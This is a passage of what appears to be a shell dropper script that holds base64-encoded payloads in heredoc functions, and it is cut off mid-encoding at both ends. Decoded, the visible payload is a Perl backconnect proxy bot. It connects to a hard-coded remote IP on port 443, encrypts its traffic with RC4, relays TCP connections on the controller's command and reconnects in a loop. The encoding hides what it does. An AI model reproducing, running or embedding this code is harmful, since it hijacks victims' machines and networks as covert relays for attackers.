dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb MF0pLCAxKSA9IDE7CgkJCSAKCQkJIHVubGVzcyhzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCA2 MCkpIHsKCQkJCSAKCQkJCSBsYXN0IGlmIChzdWJzdHIoJGJ1ZmZlcm51bGwsIDAsIDMpIG5lICJc eDAwXHgwMFx4MDAiKTsKCQkJCSAKCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJ IAoJCQkJIGxhc3QgaWYgKCRyZW1haW5pbmc0ICE9IDApOwoJCQkJIAoJCQkJIFJjNF9jcnlwdChc JHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcm51bGwsIDAsIDMpOwoJCQkJIAoJCQkJIHN5bnNlbmQoJHNv Y2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIGxlbmd0aCgkYnVmZmVybnVsbCksIDApOwoJCQkJIAoJ CQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJl bWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYg KHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwg MSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxh c3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAw ICYmIGRlZmluZWQoJHNvY2tldGFyclskZWJ4XSkpIHsKCQkJCSAKCQkJCQkgc2h1dGRvd24oJHNv Y2tldGFyclskZWJ4XSwgMCk7CgkJCQkgCgkJCQl9CgkJCQoJCQl9CgkJCQoJCQllbHNlIHsKCQkJ CQoJCQkJICRlY3ggPSAkZWR4OwoJCQkJCgkJCQkgJGVjeCA9ICRlY3ggLSAkcmVtYWluaW5nOwoJ CQkJIAoJCQkJICRkYXRhID0gc3lzcmVhZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyMCwgJGVjeCwg JHJlbWFpbmluZyArIDQpOwoJCQkJIAoJCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkJ IAoJCQkJICRyZW1haW5pbmcgKz0gJGRhdGE7CgkJCQkgCgkJCQkgaWYgKCRlZHggPT0gJHJlbWFp bmluZykgewoJCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwg NCwgJHJlbWFpbmluZyk7CgkJCQkJIAoJCQkJCSBpZiAodmVjKCRidWZmZXIwLCAwLCA4KSA9PSAw KSB7CgkJCQkJCSAKCQkJCQkJIHNvY2tldCgkc29ja2V0YXJyWyRlYnhdLCBQRl9JTkVULCBTT0NL X1NUUkVBTSwgZ2V0cHJvdG9ieW5hbWUoJ3RjcCcpKTsKCQkJCQkJIAoJCQkJCQkgbXkgJHBpZCA9 IGZvcmsoKTsKCgkJCQkJCSBpZiAoIWRlZmluZWQgJHBpZCkgewoJCQkJCQkJIAoJCQkJCQkJIGRp ZSAiQ2Fubm90IGZvcmsgYSBjaGlsZDogJCEiOwoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJCSBlbHNp ZiAoJHBpZCA9PSAwKSB7CiAgICAKCQkJCQkJCSBuZXdDb25uZWN0aW9uKCRlYngsICRzb2NrZXRh cnJbMF0sICRzb2NrZXRhcnJbJGVieF0sICRidWZmZXIwKTsKCQkJCQkJCSAKCQkJCQkJCSBleGl0 IDA7CgkJCQkJCSB9CgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNlIHsKCQkJCQkJIAoJCQkJCQkgc3lz d3JpdGUoJHNvY2tldGFyclskZWJ4XSwgJGJ1ZmZlcjAsICRyZW1haW5pbmcsIDQpOwoJCQkJCQkg CgkJCQkJfQoJCQkJCSAKCQkJCQkgJHJlbWFpbmluZyA9IDA7CgkJCQl9CgkJCQkKCQkJfQoJCQkg CgkJCSAkcmVtYWluaW5nNCA9IDA7CgkJCSAKCQl9CgkJCgkJZWxzZSB7CgkJCQoJCQkgJGVheCA9 IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSBz eXNyZWFkKCRzb2NrZXRhcnJbMF0sICRidWZmZXIwLCAkZWF4LCAkcmVtYWluaW5nNCk7CgkJCSAK CQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSAkZGF0 YTsKCQkJIAoJCQkgc3Vic3RyKCRidWZmZXJudWxsLCAwLCAzKSA9ICJceDAwXHgwMFx4MDAiOwoJ CQkgCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gNCkgewoJCQkJIAoJCQkJIFJjNF9jcnlwdChcJHhv cmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDAsIDQpOwoJCQkJIAoJCQkJICRlYnggPSB2ZWMoJGJ1ZmZl cjAsIDEsIDgpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMCwgMSkgPSBzdWJzdHIoJGJ1 ZmZlcjAsIDMsIDEpOwoJCQkJIAoJCQkJIHN1YnN0cigkc3RyX3dlYywgMSwgMSkgPSBzdWJzdHIo JGJ1ZmZlcjAsIDIsIDEpOwoJCQkJIAoJCQkJICRlZHggPSB2ZWMoJHN0cl93ZWMsIDAsIDE2KTsK CQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xv c2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7 IGlmIChkZWZpbmVkKCRzb2NrZXRhcnJbJGldKSkgeyBzaHV0ZG93bigkc29ja2V0YXJyWyRpXSwg MCk7IH0gfQoJIAoJIHNsZWVwIDEwOwoJIAoJIGlmICgkaXNFeGl0ID09IDEpIHsgZXhpdDsgfQoJ IAoJIHJldHVybiAkX3JldDsKCn0KCndoaWxlKDEpCnsKCSBiY2NuY3QoXCRob3N0LCBcJHBvcnQp OwoJIAoJIHNsZWVwIDE4MDsKfQo= PAYLOAD_EOF } bin_50() { cat << 'PAYLOAD_EOF' IyEvdXNyL2Jpbi9lbnYgcGVybAoKdXNlIHN0cmljdDsKdXNlIHdhcm5pbmdzOwp1c2UgU29ja2V0 Owp1c2UgU29ja2V0IHF3KElQUFJPVE9fVENQIFRDUF9OT0RFTEFZKTsKdXNlIEZjbnRsOwp1c2Ug RmNudGwgcXcoOmZsb2NrKTsKCm15ICRob3N0ID0gJzYyLjYwLjEzMS4xOTgnOwpteSAkcG9ydCA9 IDQ0MzsKCiRTSUd7UElQRX0gPSAnSUdOT1JFJzsKJFNJR3tIVVB9ID0gJ0lHTk9SRSc7CiRTSUd7 Q0hMRH0gPSAnSUdOT1JFJzsKCm15ICR4b3JkYXRhID0gIlx4MDAiIHggNTA7Cgpmb3IgKG15ICRp ID0gMDsgJGkgPCA1MDsgJGkrKykgeyB2ZWMoJHhvcmRhdGEsICRpLCA4KSA9IGludChyYW5kKDI1 NSkpOyB9CgpzdWIgUmM0X2NyeXB0IHsKCSAKCSBteSAkcGFzc3cgPSBzaGlmdChAXyk7CgkgCgkg bXkgJGxlbmd0aCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkgCgkg bXkgJHN0YXJ0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRzeiA9IHNoaWZ0KEBfKTsKCSAKCSBteSAk cmM0ID0gIlx4MDAiIHggMjU2OwoJIAoJIG15ICRwb2NrZW1vbjAgPSAwOwoJCgkgbXkgJHBvY2tl bW9uMSA9IDA7CgkKCSBteSAkcG9ja2Vtb24yID0gMDsKCQoJIG15ICRwb2NrZW1vbjMgPSAwOwoJ CgkgbXkgJHBvY2tlbW9uNCA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2Nr ZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkg JHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSB2ZWMoJHJjNCwgJF8sIDgpID0gJF8gZm9y IDAuLjI1NTsKCSAKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgOCkg PSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQkcGFzc3csICRyYngsIDgp KTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgk cmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJj eCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkg JHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYg KCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlm ICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcg PSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCk7CgkJIAoJCSAkcG9ja2Vtb24xICs9IHZlYygkJHBh c3N3LCAkcG9ja2Vtb24yLCA4KTsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoK CQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEg JiAyNTU7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMCwgOCkgPSB2ZWMoJHJjNCwgJHBvY2tlbW9u MSwgOCk7CgoJCSB2ZWMoJHJjNCwgJHBvY2tlbW9uMSwgOCkgPSAkcG9ja2Vtb243OwoJCSAKCQkg JHBvY2tlbW9uMCsrOwoKCQkgJHBvY2tlbW9uMCA9ICRwb2NrZW1vbjAgJiAyNTU7CgkJIAoJCSBp ZiAoJHBvY2tlbW9uMCAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDE7CgkJCSAKCQkJIG5leHQ7CgkJ fQoJCQoJCSAkcG9ja2Vtb240ID0gJHN6OwoKCQkgJHBvY2tlbW9uMSA9IDA7CgoJCSAkcG9ja2Vt b24wID0gMDsKCgkJICRwb2NrZW1vbjIgPSAwOwoKCQkgJHBvY2tlbW9uMyA9IDA7CgkJIAoJCSB3 aGlsZSgxKSB7CgkJCSAKCQkJICRwb2NrZW1vbjIrKzsKCgkJCSAkcG9ja2Vtb24yID0gJHBvY2tl bW9uMiAmIDI1NTsKCgkJCSAkcG9ja2Vtb243ID0gdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpOwoJ CQkgCgkJCSAkcG9ja2Vtb24xICs9ICRwb2NrZW1vbjc7CgoJCQkgJHBvY2tlbW9uMSA9ICRwb2Nr ZW1vbjEgJiAyNTU7CgoJCQkgJHBvY2tlbW9uOCA9IHZlYygkcmM0LCAkcG9ja2Vtb24xLCA4KTsK CQkJIAoJCQkgdmVjKCRyYzQsICRwb2NrZW1vbjIsIDgpID0gJHBvY2tlbW9uODsKCQkJIAoJCQkg dmVjKCRyYzQsICRwb2NrZW1vbjEsIDgpID0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb244ICs9 ICRwb2NrZW1vbjc7CgkKCQkJICRwb2NrZW1vbjggPSAkcG9ja2Vtb244ICYgMjU1OwoJCQkgCgkJ CSB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCkgPSB2ZWMoJHJjNCwgJHBvY2tl bW9uOCwgOCkgXiB2ZWMoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgOCk7CgkJCSAKCQkJ ICRwb2NrZW1vbjMrKzsKCQkJIAoJCQkgaWYgKC0tJHBvY2tlbW9uNCA9PSAwKQoJCQkgewoJCQkJ IGxhc3Q7CgkJCSB9CgkJCSAKCQl9CgkJIAoJCSBsYXN0OwoJfQoJCgkgJHJzaSA9IDA7CgkKCSAk cmN4ID0gJHN6OwoJCgkgJHJieCA9IDA7CgkKCSBkbyB7CgkJIAoJCSB2ZWMoJCRidWZmMCwgJHN0 YXJ0ICsgJHJzaSwgOCkgPSAodmVjKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDgpIF4gdmVjKCQk cGFzc3csICRyYngsIDgpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4 LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJ CSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCn0KCnN1YiBzeW5zZW5kIHsKCQkKCSBteSAkY1NvY2tl dCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkYnVmZmVyID0gc2hpZnQoQF8pOwoJIAoJIG15ICRsZW5n dGgJPSBzaGlmdChAXyk7CgkgCgkgbXkgJG9mZnNldAk9IHNoaWZ0KEBfKTsKCgkgb3BlbihteSAk ZmgsICI8IiwgJy9kZXYvbnVsbCcpOwoKCSBmbG9jaygkZmgsIExPQ0tfRVgpOwoJIAoJICMgPT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT0KCSAKCSBzeXN3cml0 ZSgkY1NvY2tldCwgJGJ1ZmZlciwgJGxlbmd0aCwgJG9mZnNldCk7CgkgCgkgIyA9PT09PT09PT09 PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQoJIAoJIGZsb2NrKCRmaCwgTE9D S19VTik7CgoJIGNsb3NlKCRmaCk7Cn0KCnN1YiBuZXdDb25uZWN0aW9uIHsKCQoJbXkgJG51bSA9 IHNoaWZ0KEBfKTsKCQoJbXkgJHNTb2NrZXQgPSBzaGlmdChAXyk7CgkKCW15ICRjU29ja2V0ID0g c2hpZnQoQF8pOwoJCglteSAkYnVmZjAgPSBzaGlmdChAXyk7CgkKCW15ICRyZXNwb25jZSA9IHBh Y2soJ0MnLCAkbnVtKS4iXHgwQVx4MDBceDA1XHgwMVx4MDBceDAxXHgwMFx4MDBceDAwXHgwMFx4 MDBceDAwIjsKCQoJbXkgJGRvbWFpbiA9ICcnOwoJCglteSAkcG9ydCA9IDA7CgkKCW15ICRfcmV0 ID0gMDsKCQoJbXkgJGRhdGEgPSAnJzsKCQoJbXkgJGJ1ZmZlciA9ICcnOwoJCglteSAkc3RyX3dl YyA9ICJceDAwXHgwMCI7CgkKCW15ICRidWZmZXIxID0gIlx4MDAiIHggNjU1MzY7CgkKCXNldHNv Y2tvcHQoJGNTb2NrZXQsIElQUFJPVE9fVENQLCBUQ1BfTk9ERUxBWSwgMSk7CgkKCXNldHNvY2tv cHQoJGNTb2NrZXQsIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1MzYpOwoJCglzZXRzb2Nrb3B0 KCRjU29ja2V0LCBTT0xfU09DS0VULCBTT19TTkRCVUYsIDY1NTM2KTsKCQoJZmNudGwoJGNTb2Nr ZXQsIEZfU0VURkwsIGZjbnRsKCRjU29ja2V0LCBGX0dFVEZMLCAwKSB8IE9fTk9OQkxPQ0spOwoJ CglmY250bCgkY1NvY2tldCwgRl9TRVRGTCwgT19OT05CTE9DSyk7CgkKCWlmICh2ZWMoJGJ1ZmYw LCA3LCA4KSA9PSAzKSB7CgkJCgkJJGRvbWFpbiA9IHN1YnN0cigkYnVmZjAsIDksIHZlYygkYnVm ZjAsIDgsIDgpKTsKCQkKCQlzdWJzdHIoJHN0cl93ZWMsIDAsIDEpID0gc3Vic3RyKCRidWZmMCwg OSArIHZlYygkYnVmZjAsIDgsIDgpICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAx KSA9IHN1YnN0cigkYnVmZjAsIDkgKyB2ZWMoJGJ1ZmYwLCA4LCA4KSArIDEsIDEpOwoJCQoJCSRw b3J0ID0gdmVjKCRzdHJfd2VjLCAwLCAxNik7Cgl9CgkJCgllbHNpZiAodmVjKCRidWZmMCwgNywg OCkgPT0gMSkgewoJCQoJCSRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHZlYygkYnVm ZjAsIDggKyAwLCA4KSwgdmVjKCRidWZmMCwgOCArIDEsIDgpLCB2ZWMoJGJ1ZmYwLCA4ICsgMiwg OCksIHZlYygkYnVmZjAsIDggKyAzLCA4KSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAwLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMCwgMSk7CgkJCgkJc3Vic3RyKCRzdHJfd2VjLCAxLCAxKSA9 IHN1YnN0cigkYnVmZjAsIDEyICsgMSwgMSk7CgkJCgkJJHBvcnQgPSAgdmVjKCRzdHJfd2VjLCAw LCAxNik7CgkJCgl9CgkJCgllbHNlIHsKCQkKCQlnb3RvIGNsb3NlXzsKCX0KCQkKCSBldmFsIHsK CQkgCgkJIG15ICRwYWRkciA9IHNvY2thZGRyX2luKCRwb3J0LCBpbmV0X2F0b24oJGRvbWFpbikp OwoJCSAKCQkgY29ubmVjdCgkY1NvY2tldCwgJHBhZGRyKTsKCQkgCgkJIHZlYyhteSAkd2luID0g JycsIGZpbGVubygkY1NvY2tldCksIDEpID0gMTsKCQkgCgkJIHVubGVzcyAoc2VsZWN0KHVuZGVm LCAkd2luLCB1bmRlZiwgMTApKSB7IGdvdG8gY2xvc2VfOyB9CgkJIAoJCSBmY250bCgkY1NvY2tl dCwgRl9TRVRGTCwgMCk7CgkJIAoJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsK CQkgCgkJIGZjbnRsKCRjU29ja2V0LCBGX1NFVEZMLCBmY250bCgkY1NvY2tldCwgRl9HRVRGTCwg MCkgXiBPX05PTkJMT0NLKTsKCQkgCgkJICRfcmV0ID0gMTsKCQkgCgkgfTsKCSAKCSBjbG9zZV86 CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJIAoJIFJj NF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAzLCAxMCk7CgkgCgkgc3luc2VuZCgk c1NvY2tldCwgJHJlc3BvbmNlLCBsZW5ndGgoJHJlc3BvbmNlKSwgMCk7CgkgCgkgaWYgKCRfcmV0 ID09IDEpIHsKCQkgCgkJIHdoaWxlICgxKSB7CgkJCSAKCQkJIHZlYyhteSAkcmluID0gJycsIGZp bGVubygkY1NvY2tldCksIDEpID0gMTsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5k ZWYsIHVuZGVmLCAxKSkgeyBuZXh0OyB9CgkJCSAKCQkJICRkYXRhID0gc3lzcmVhZCgkY1NvY2tl dCwgJGJ1ZmZlcjEsIDY1NTMwLCAzKTsKCQkJIAoJCQkgdW5sZXNzKCRkYXRhKSB7IGxhc3Q7IH0K CQkJIAoJCQkgdmVjKCRidWZmZXIxLCAwLCA4KSA9ICRudW07CgkJCSAKCQkJIHZlYygkc3RyX3dl YywgMCwgMTYpID0gJGRhdGE7CgkJCSAKCQkJIHN1YnN0cigkYnVmZmVyMSwgMSwgMSkgPSBzdWJz dHIoJHN0cl93ZWMsIDEsIDEpOwoJCQkgCgkJCSBzdWJzdHIoJGJ1ZmZlcjEsIDIsIDEpID0gc3Vi c3RyKCRzdHJfd2VjLCAwLCAxKTsKCQkJIAoJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwk YnVmZmVyMSwgMCwgMyk7CgkJCSAKCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZl cjEsIDMsICRkYXRhKTsKCQkJIAoJCQkgc3luc2VuZCgkc1NvY2tldCwgJGJ1ZmZlcjEsIDMgKyAk ZGF0YSwgMCk7CgkJfQoJfQoJIAoJIGNsb3NlKCRjU29ja2V0KTsKCSAKCSB2ZWMoJHJlc3BvbmNl LCAwLCA4KSA9ICRudW07CgkgCgkgc3Vic3RyKCRyZXNwb25jZSwgMSwgMikgPSAiXHgwMFx4MDAi OwoJIAoJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCSAKCSBz eW5zZW5kKCRzU29ja2V0LCAkcmVzcG9uY2UsIDMsIDApOwp9CgpzdWIgYmNjbmN0IHsKCgkgbXkg JGhvc3QgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHBvcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHJl bWFpbmluZyA9IDA7CgkgCgkgbXkgJHJlbWFpbmluZzQgPSAwOwoJIAoJIG15IEBzb2NrZXRhcnI7 CgkgCgkgbXkgJGJ1ZmZlciA9ICJceDAwIiB4IDEwMDsKCSAKCSBteSAkYnVmZmVybnVsbCA9ICJc eDAwIiB4IDM7CgkgCgkgbXkgJGJ1ZmZlcjAgPSAiXHgwMCIgeCA2NTUzNjsKCSAKCSBteSAkaXNF eGl0ID0gMDsKCSAKCSBteSAkZWN4ID0gMDsKCSAKCSBteSAkZWF4ID0gMDsKCSAKCSBteSAkZGF0 YSA9ICcnOwoJIAoJIG15ICRfcmV0ID0gMDsKCSAKCSBteSAkZWJ4ID0gMDsKCSAKCSBteSAkZWR4 ID0gMDsKCSAKCSBteSAkc3RyX3dlYyA9ICJceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRh cnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJ IHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsK CSAKCSBzZXRzb2Nrb3B0KCRzb2NrZXRhcnJbMF0sIFNPTF9TT0NLRVQsIFNPX1JDVkJVRiwgNjU1 MzYpOwoJIAogICAgIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgU09MX1NPQ0tFVCwgU09fU05E QlVGLCA2NTUzNik7CgkgCgkgbXkgJHBhZGRyID0gc29ja2FkZHJfaW4oJCRwb3J0LCBpbmV0X2F0 b24oJCRob3N0KSk7CgkgCgkgdW5sZXNzKGNvbm5lY3QoJHNvY2tldGFyclswXSwgJHBhZGRyKSkg eyBnb3RvIGNsb3NlMDsgfQoJIAoJIHN1YnN0cigkYnVmZmVyLCAwLCA1MCkgPSAkeG9yZGF0YTsK CSAKCSBzdWJzdHIoJGJ1ZmZlciwgNTAsIDIpID0gIlx4RkZceEZGIjsKCSAKCSBzdWJzdHIoJGJ1 ZmZlciwgNTQsIDExKSA9ICJQZXJsIHNjcmlwdCI7CgkgCgkgUmM0X2NyeXB0KFwkeG9yZGF0YSwg NTAsIFwkYnVmZmVyLCA1MCwgNTApOwoJIAoJIHN5c3dyaXRlKCRzb2NrZXRhcnJbMF0sICRidWZm ZXIsIGxlbmd0aCgkYnVmZmVyKSk7CgkgCgkgd2hpbGUoMSkgewoJCSAKCQkgaWYgKCRyZW1haW5p bmc0ICE9IDQpIHsKCQkJIAoJCQkgdmVjKG15ICRyaW4gPSAnJywgZmlsZW5vKCRzb2NrZXRhcnJb 